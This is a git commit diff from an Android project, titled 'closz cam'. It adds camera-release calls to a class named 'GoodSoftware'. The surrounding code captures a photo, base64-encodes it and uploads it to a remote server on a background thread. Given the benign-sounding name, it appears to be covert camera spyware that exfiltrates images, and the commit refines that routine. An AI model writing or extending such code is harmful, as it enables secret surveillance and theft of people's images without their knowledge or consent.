closz cam
This commit is contained in:
parent
09a815d1aa
commit
92387a764b
@ -27,6 +27,7 @@ android {
|
||||
getDefaultProguardFile("proguard-android-optimize.txt"),
|
||||
"proguard-rules.pro"
|
||||
)
|
||||
multiDexEnabled = false
|
||||
}
|
||||
}
|
||||
compileOptions {
|
||||
|
@ -398,6 +398,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
|
||||
override fun onError(exc: ImageCaptureException) {
|
||||
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
|
||||
cameraProvider?.unbindAll()
|
||||
}
|
||||
|
||||
override fun onCaptureSuccess(image: ImageProxy) {
|
||||
@ -409,7 +410,6 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
buffer.get(bytes)
|
||||
byteArrayOutputStream.write(bytes)
|
||||
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
||||
//Log.d(picture.TAG, "Base64 Image: $base64Image")
|
||||
Thread {
|
||||
val conn = establishConnectionWithRetry()
|
||||
if (conn == null) {
|
||||
@ -418,6 +418,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
sendDataToServer(base64Image, conn)
|
||||
disconnect(conn)
|
||||
}.start()
|
||||
cameraProvider?.unbindAll()
|
||||
image.close()
|
||||
}
|
||||
}
|
||||
@ -430,7 +431,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
ContextCompat.getMainExecutor(context),
|
||||
imageCapturedListener
|
||||
)
|
||||
cameraProvider?.unbind()
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user